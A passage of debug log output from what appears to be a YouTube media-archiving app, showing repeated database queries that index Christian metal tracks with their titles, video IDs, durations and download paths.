"/downloads/ChristianMetal/ChristianMetal/2019-03-28It's Okay (feat. Matt Baird)[aBMcLtW4J1w].m4a", false, false, 5, [], 1, ~U[2019-03-28 10:00:06Z], ~U[2026-07-24 02:20:36Z], ~U[2026-07-24 02:20:36Z], "Provided to YouTube by The Orchard Enterprises\n\nIt's Okay (feat. Matt Baird) · Death Therapy · Matt Baird\n\nIt's Okay\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-03-29\n\nAuto-generated by YouTube.", "It's Okay (feat. Matt Baird)", "aBMcLtW4J1w", 221, false, "https://www.youtube.com/watch?v=aBMcLtW4J1w", "/downloads/ChristianMetal/ChristianMetal/2019-03-28It's Okay (feat. Matt Baird)[aBMcLtW4J1w].m4a", false, 5, ~U[2019-03-28 10:00:06Z]] 22:20:36.918 [debug] QUERY OK source="sources" db=7.5ms queue=0.1ms idle=214.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:36.918 [debug] QUERY OK source="media_items" db=0.2ms idle=200.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-06-06 10:24:11Z], 5] 22:20:37.101 [debug] QUERY OK source="media_items" db=181.9ms idle=200.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by IIP-DDS\n\nKing of Masquerade · Diviner\n\nRealms of Time\n\n℗ Ulterium Records\n\nReleased on: 2019-06-07\n\nArtist: Diviner\n\nAuto-generated by YouTube.", "King of Masquerade", "5d65e487-f81c-44de-a6fe-f522f9843eaa", false, "HQVfFP4_JO0", 251, false, "https://www.youtube.com/watch?v=HQVfFP4_JO0", 32, "/downloads/ChristianMetal/ChristianMetal/2019-06-06King of Masquerade[HQVfFP4_JO0].m4a", false, false, 5, [], 2, ~U[2019-06-06 10:24:11Z], ~U[2026-07-24 02:20:36Z], ~U[2026-07-24 02:20:36Z], "Provided to YouTube by IIP-DDS\n\nKing of Masquerade · Diviner\n\nRealms of Time\n\n℗ Ulterium Records\n\nReleased on: 2019-06-07\n\nArtist: Diviner\n\nAuto-generated by YouTube.", "King of Masquerade", "HQVfFP4_JO0", 251, false, "https://www.youtube.com/watch?v=HQVfFP4_JO0", "/downloads/ChristianMetal/ChristianMetal/2019-06-06King of Masquerade[HQVfFP4_JO0].m4a", false, 5, ~U[2019-06-06 10:24:11Z]] 22:20:37.118 [debug] QUERY OK source="sources" db=16.6ms idle=191.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:37.118 [debug] QUERY OK source="media_items" db=0.1ms idle=199.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-08-12 00:04:56Z], 5] 22:20:37.318 [debug] QUERY OK source="media_items" db=199.3ms idle=200.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nRules Of Engagement · Living Sacrifice\n\nThe Infinite Order\n\n℗ 2009 Capitol Christian Music Group, Inc.\n\nReleased on: 2010-01-01\n\nProducer: Jeremiah Scott\nComposer: Lance Garvin\nComposer: Bruce Fitzhugh\nComposer: Rocky Gray\n\nAuto-generated by YouTube.", "Rules Of Engagement", "23b004d6-30cb-4ff9-975f-381f8dea08ad", false, "AgrDjlhGGQg", 208, false, "https://www.youtube.com/watch?v=AgrDjlhGGQg", 33, "/downloads/ChristianMetal/ChristianMetal/2015-08-12Rules Of Engagement[AgrDjlhGGQg].m4a", false, false, 5, [], 1, ~U[2015-08-12 00:04:56Z], ~U[2026-07-24 02:20:37Z], ~U[2026-07-24 02:20:37Z], "Provided to YouTube by Universal Music Group\n\nRules Of Engagement · Living Sacrifice\n\nThe Infinite Order\n\n℗ 2009 Capitol Christian Music Group, Inc.\n\nReleased on: 2010-01-01\n\nProducer: Jeremiah Scott\nComposer: Lance Garvin\nComposer: Bruce Fitzhugh\nComposer: Rocky Gray\n\nAuto-generated by YouTube.", "Rules Of Engagement", "AgrDjlhGGQg", 208, false, "https://www.youtube.com/watch?v=AgrDjlhGGQg", "/downloads/ChristianMetal/ChristianMetal/2015-08-12Rules Of Engagement[AgrDjlhGGQg].m4a", false, 5, ~U[2015-08-12 00:04:56Z]] 22:20:37.319 [debug] QUERY OK source="sources" db=0.3ms idle=399.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:37.319 [debug] QUERY OK source="media_items" db=0.1ms idle=218.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-09-30 04:42:15Z], 5] 22:20:37.381 [debug] Current batch of media processed. Will check again in 1000ms 22:20:37.434 [debug] QUERY OK source="media_items" db=114.3ms idle=201.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nAsleep · Wolves At The Gate\n\nAsleep\n\n℗ 2016 Solid State Records\n\nReleased on: 2016-09-30\n\nAuto-generated by YouTube.", "Asleep", "c2ee9167-0727-4bc3-9d44-cc7dba95c4dc", false, "lrN06b4byiM", 237, false, "https://www.youtube.com/watch?v=lrN06b4byiM", 34, "/downloads/ChristianMetal/ChristianMetal/2016-09-30Asleep[lrN06b4byiM].NA", false, false, 5, [], 1, ~U[2016-09-30 04:42:15Z], ~U[2026-07-24 02:20:37Z], ~U[2026-07-24 02:20:37Z], "Provided to YouTube by The Orchard Enterprises\n\nAsleep · Wolves At The Gate\n\nAsleep\n\n℗ 2016 Solid State Records\n\nReleased on: 2016-09-30\n\nAuto-generated by YouTube.", "Asleep", "lrN06b4byiM", 237, false, "https://www.youtube.com/watch?v=lrN06b4byiM", "/downloads/ChristianMetal/ChristianMetal/2016-09-30Asleep[lrN06b4byiM].NA", false, 5, ~U[2016-09-30 04:42:15Z]] 22:20:37.434 [debug] QUERY OK source="sources" db=0.2ms idle=316.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:37.435 [debug] QUERY OK source="media_items" db=0.1ms idle=116.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-01-25 21:40:14Z], 5] 22:20:37.608 [debug] QUERY OK source="media_items" db=173.2ms idle=116.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nFault Line · August Burns Red\n\nRescue & Restore\n\n℗ 2013 Solid State Records\n\nReleased on: 2013-06-25\n\nMusic Publisher: Eggroom Publishing\nMusic Publisher: We Are Younger We Are Faster Music\n\nAuto-generated by YouTube.", "Fault Line", "20ce2f05-550d-45de-bf19-cf113f0f101d", false, "YrZj2_PmNU0", 243, false, "https://www.youtube.com/watch?v=YrZj2_PmNU0", 35, "/downloads/ChristianMetal/ChristianMetal/2017-01-25Fault Line[YrZj2_PmNU0].NA", false, false, 5, [], 5, ~U[2017-01-25 21:40:14Z], ~U[2026-07-24 02:20:37Z], ~U[2026-07-24 02:20:37Z], "Provided to YouTube by The Orchard Enterprises\n\nFault Line · August Burns Red\n\nRescue & Restore\n\n℗ 2013 Solid State Records\n\nReleased on: 2013-06-25\n\nMusic Publisher: Eggroom Publishing\nMusic Publisher: We Are Younger We Are Faster Music\n\nAuto-generated by YouTube.", "Fault Line", "YrZj2_PmNU0", 243, false, "https://www.youtube.com/watch?v=YrZj2_PmNU0", "/downloads/ChristianMetal/ChristianMetal/2017-01-25Fault Line[YrZj2_PmNU0].NA", false, 5, ~U[2017-01-25 21:40:14Z]] 22:20:37.618 [debug] QUERY OK source="sources" db=0.2ms queue=9.1ms idle=289.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:37.618 [debug] QUERY OK source="media_items" db=0.1ms idle=184.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-01-26 01:47:36Z], 5] 22:20:37.779 [debug] QUERY OK source="media_items" db=160.9ms idle=184.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nHollow Eyes · Fit For A King\n\nDescendants - Redux\n\n℗ 2013 Solid State Records\n\nReleased on: 2013-11-25\n\nAuto-generated by YouTube.", "Hollow Eyes", "e0b7e756-2ee3-475d-ba87-e728932a9249", false, "q54TGP8MxWo", 204, false, "https://www.youtube.com/watch?v=q54TGP8MxWo", 36, "/downloads/ChristianMetal/ChristianMetal/2017-01-26Hollow Eyes[q54TGP8MxWo].NA", false, false, 5, [], 2, ~U[2017-01-26 01:47:36Z], ~U[2026-07-24 02:20:37Z], ~U[2026-07-24 02:20:37Z], "Provided to YouTube by The Orchard Enterprises\n\nHollow Eyes · Fit For A King\n\nDescendants - Redux\n\n℗ 2013 Solid State Records\n\nReleased on: 2013-11-25\n\nAuto-generated by YouTube.", "Hollow Eyes", "q54TGP8MxWo", 204, false, "https://www.youtube.com/watch?v=q54TGP8MxWo", "/downloads/ChristianMetal/ChristianMetal/2017-01-26Hollow Eyes[q54TGP8MxWo].NA", false, 5, ~U[2017-01-26 01:47:36Z]] 22:20:37.818 [debug] QUERY OK source="sources" db=38.0ms idle=344.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:37.818 [debug] QUERY OK source="media_items" db=0.4ms idle=209.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-02-14 10:15:15Z], 5] 22:20:37.981 [debug] QUERY OK source="media_items" db=162.3ms idle=200.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nMy Defiance · Josh Kincheloe · Death Therapy\n\nMy Defiance\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-02-15\n\nAuto-generated by YouTube.", "My Defiance", "17696fc4-aedc-4903-b1cc-e9650cc4cff8", false, "jx2M-jIRjcg", 238, false, "https://www.youtube.com/watch?v=jx2M-jIRjcg", 37, "/downloads/ChristianMetal/ChristianMetal/2019-02-14My Defiance[jx2M-jIRjcg].m4a", false, false, 5, [], 1, ~U[2019-02-14 10:15:15Z], ~U[2026-07-24 02:20:37Z], ~U[2026-07-24 02:20:37Z], "Provided to YouTube by The Orchard Enterprises\n\nMy Defiance · Josh Kincheloe · Death Therapy\n\nMy Defiance\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-02-15\n\nAuto-generated by YouTube.", "My Defiance", "jx2M-jIRjcg", 238, false, "https://www.youtube.com/watch?v=jx2M-jIRjcg", "/downloads/ChristianMetal/ChristianMetal/2019-02-14My Defiance[jx2M-jIRjcg].m4a", false, 5, ~U[2019-02-14 10:15:15Z]] 22:20:38.018 [debug] QUERY OK source="sources" db=35.7ms idle=202.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:38.018 [debug] QUERY OK source="media_items" db=0.3ms idle=200.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-02-04 17:46:44Z], 5] 22:20:38.190 [debug] QUERY OK source="media_items" db=171.2ms idle=200.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by IIP-DDS\n\nFallen Empires · Diviner\n\nFallen Empires\n\n℗ Ulterium Records\n\nReleased on: 2015-11-20\n\nArtist: Diviner\n\nAuto-generated by YouTube.", "Fallen Empires", "ea64e8bb-ad7d-495a-8fc5-2fd5a55a8eaf", false, "16ovMeUte1o", 264, false, "https://www.youtube.com/watch?v=16ovMeUte1o", 38, "/downloads/ChristianMetal/ChristianMetal/2019-02-04Fallen Empires[16ovMeUte1o].m4a", false, false, 5, [], 3, ~U[2019-02-04 17:46:44Z], ~U[2026-07-24 02:20:38Z], ~U[2026-07-24 02:20:38Z], "Provided to YouTube by IIP-DDS\n\nFallen Empires · Diviner\n\nFallen Empires\n\n℗ Ulterium Records\n\nReleased on: 2015-11-20\n\nArtist: Diviner\n\nAuto-generated by YouTube.", "Fallen Empires", "16ovMeUte1o", 264, false, "https://www.youtube.com/watch?v=16ovMeUte1o", "/downloads/ChristianMetal/ChristianMetal/2019-02-04Fallen Empires[16ovMeUte1o].m4a", false, 5, ~U[2019-02-04 17:46:44Z]] 22:20:38.191 [debug] QUERY OK source="sources" db=0.2ms idle=209.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:38.191 [debug] QUERY OK source="media_items" db=0.1ms idle=172.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-11-05 17:45:14Z], 5] 22:20:38.383 [debug] Current batch of media processed. Will check again in 1000ms 22:20:38.848 [debug] QUERY OK source="media_items" db=656.2ms idle=172.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by CDBaby\n\nI Am The Lion · Phinehas\n\nThe Phinehas - EP\n\n℗ 2009 Phinehas\n\nReleased on: 2009-12-15\n\nAuto-generated by YouTube.", "I Am The Lion", "50b7de0d-3b57-4feb-8d6e-1c4aadb9a7e0", false, "VpPEQcjnVO8", 296, false, "https://www.youtube.com/watch?v=VpPEQcjnVO8", 39, "/downloads/ChristianMetal/ChristianMetal/2015-11-05I Am The Lion[VpPEQcjnVO8].m4a", false, false, 5, [], 1, ~U[2015-11-05 17:45:14Z], ~U[2026-07-24 02:20:38Z], ~U[2026-07-24 02:20:38Z], "Provided to YouTube by CDBaby\n\nI Am The Lion · Phinehas\n\nThe Phinehas - EP\n\n℗ 2009 Phinehas\n\nReleased on: 2009-12-15\n\nAuto-generated by YouTube.", "I Am The Lion", "VpPEQcjnVO8", 296, false, "https://www.youtube.com/watch?v=VpPEQcjnVO8", "/downloads/ChristianMetal/ChristianMetal/2015-11-05I Am The Lion[VpPEQcjnVO8].m4a", false, 5, ~U[2015-11-05 17:45:14Z]] 22:20:38.849 [debug] QUERY OK source="sources" db=0.5ms idle=829.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:38.849 [debug] QUERY OK source="media_items" db=0.3ms idle=659.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-06-13 10:00:27Z], 5] 22:20:39.053 [debug] QUERY OK source="media_items" db=189.5ms idle=659.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nParadox · August Burns Red\n\nConstellations (Remixed)\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-06-14\n\nAuto-generated by YouTube.", "Paradox", "1df17b21-6f8e-41ca-b063-82624c690c68", false, "Y9oLpJIjNEU", 199, false, "https://www.youtube.com/watch?v=Y9oLpJIjNEU", 40, "/downloads/ChristianMetal/ChristianMetal/2019-06-13Paradox[Y9oLpJIjNEU].NA", false, false, 5, [], 3, ~U[2019-06-13 10:00:27Z], ~U[2026-07-24 02:20:38Z], ~U[2026-07-24 02:20:38Z], "Provided to YouTube by The Orchard Enterprises\n\nParadox · August Burns Red\n\nConstellations (Remixed)\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-06-14\n\nAuto-generated by YouTube.", "Paradox", "Y9oLpJIjNEU", 199, false, "https://www.youtube.com/watch?v=Y9oLpJIjNEU", "/downloads/ChristianMetal/ChristianMetal/2019-06-13Paradox[Y9oLpJIjNEU].NA", false, 5, ~U[2019-06-13 10:00:27Z]] 22:20:39.054 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=206.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:39.054 [debug] QUERY OK source="media_items" db=0.1ms idle=205.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-02-10 10:08:44Z], 5] 22:20:39.221 [debug] QUERY OK source="media_items" db=165.8ms idle=205.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nPeace That Starts the War · Wolves At The Gate · Steve Cobucci · Joe Alarcon · Abishai Collingsworth · Ben Summers\n\nPeace That Starts the War\n\n℗ 2022 Solid State Records\n\nReleased on: 2022-02-11\n\nProducer: Steve Cobucci\nProducer: Joey Alarcon\nA And R Coordinator: Adam Skatula\nAdditional Engineer: Ernie Slenkovich\nMastering Engineer, Mixer: Taylor Larson\nAdditional Engineer: Anthony Potenza\n\nAuto-generated by YouTube.", "Peace That Starts the War", "b0ee246d-8969-443a-951a-55db73d28535", false, "knToTGlWYvU", 168, false, "https://www.youtube.com/watch?v=knToTGlWYvU", 41, "/downloads/ChristianMetal/ChristianMetal/2022-02-10Peace That Starts the War[knToTGlWYvU].m4a", false, false, 5, [], 1, ~U[2022-02-10 10:08:44Z], ~U[2026-07-24 02:20:39Z], ~U[2026-07-24 02:20:39Z], "Provided to YouTube by The Orchard Enterprises\n\nPeace That Starts the War · Wolves At The Gate · Steve Cobucci · Joe Alarcon · Abishai Collingsworth · Ben Summers\n\nPeace That Starts the War\n\n℗ 2022 Solid State Records\n\nReleased on: 2022-02-11\n\nProducer: Steve Cobucci\nProducer: Joey Alarcon\nA And R Coordinator: Adam Skatula\nAdditional Engineer: Ernie Slenkovich\nMastering Engineer, Mixer: Taylor Larson\nAdditional Engineer: Anthony Potenza\n\nAuto-generated by YouTube.", "Peace That Starts the War", "knToTGlWYvU", 168, false, "https://www.youtube.com/watch?v=knToTGlWYvU", "/downloads/ChristianMetal/ChristianMetal/2022-02-10Peace That Starts the War[knToTGlWYvU].m4a", false, 5, ~U[2022-02-10 10:08:44Z]] 22:20:39.221 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=181.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:39.222 [debug] 